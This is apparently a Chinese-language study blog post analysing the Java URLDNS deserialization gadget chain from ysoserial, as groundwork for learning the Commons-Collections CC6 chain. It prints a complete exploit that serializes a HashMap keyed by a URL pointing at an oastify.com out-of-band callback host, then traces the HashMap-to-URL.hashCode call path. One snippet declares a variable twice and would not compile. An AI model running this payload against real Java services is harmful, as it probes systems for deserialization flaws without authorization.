1. 1. 完整EXP
  2. 2. EXP构造逻辑
  3. 3. URLDNS调用链流程图

学习 Commons-Collections CC6利用链时遇到了 URLDNS链中的逻辑,故先分析 URLDNS链,为 CC6链打下基础。

Ysoserial-URLDNS gadget chain: https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://hcxoqrdokkbqx9mf5x95pixwinoecg05.oastify.com");

Class u = URL.class;
Field hashCodeField = u.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 2);
hashMap.put(url, 1);
hashCodeField.set(url, -1);
serialize(hashMap);
deserialize();
}

public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/URLDNS.txt"));
objectOutputStream.writeObject(object);
}

public static void deserialize() throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/URLDNS.txt"));
objectInputStream.readObject();
}
}

EXP构造逻辑

1、HashMap.readObject中调用了 hash方法:

image-20250207123926819

2、HashMap.hash(Object key) 接收 Object key参数调用 key.hashCode():

image-20250207124054744

3、URL类中,URL.hashCode调用了 handler.hashCode:

image-20250207124422850

跟进 handler.hashCode,进入到 URLStreamHandler.hashCode,调用 getHostAddress:

image-20250207124725551

4、根据上述逻辑初步构造利用链代码如下:

1
2
3
4
5
6
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://hcxoqrdokkbqx9mf5x95pixwinoecg05.oastify.com");
Class u = URL.class;
hashMap.put(url, 1);
serialize(hashMap);
deserialize();

但存在问题,hashMap.put会提前触发 getHostAddress并修改 hashCode的值使反序列化时无法触发 getHostAddress。

因为在 hashMap.put(url, 1)时会提前调用一次 HashMap.hash方法:

image-20250207125356766

从而触发 hashCode方法,在 readObject之前先调用一次 hashCode,触发 dns请求,并且 hashCode的值发生改变,这就意味着 readObject时的 hashCode != -1从而直接 return hashCode,不会触发 dns请求:

image-20250207125549392

由于 URL类中的 hashCode属性为private,故利用反射在 hashMap.put前修改 URL.hashCode的值不为-1,hashMap.put后再改回-1即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://hcxoqrdokkbqx9mf5x95pixwinoecg05.oastify.com");
Class u = URL.class;

//利用反射修改 URL.hashCode (private) 的值
Class u = URL.class;
Field hashCodeField = u.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 2);

hashMap.put(url, 1);
//hashMap.put后修改回-1
hashCodeField.set(url, -1);
serialize(hashMap);
deserialize();

URLDNS调用链流程图

image-20250207131702291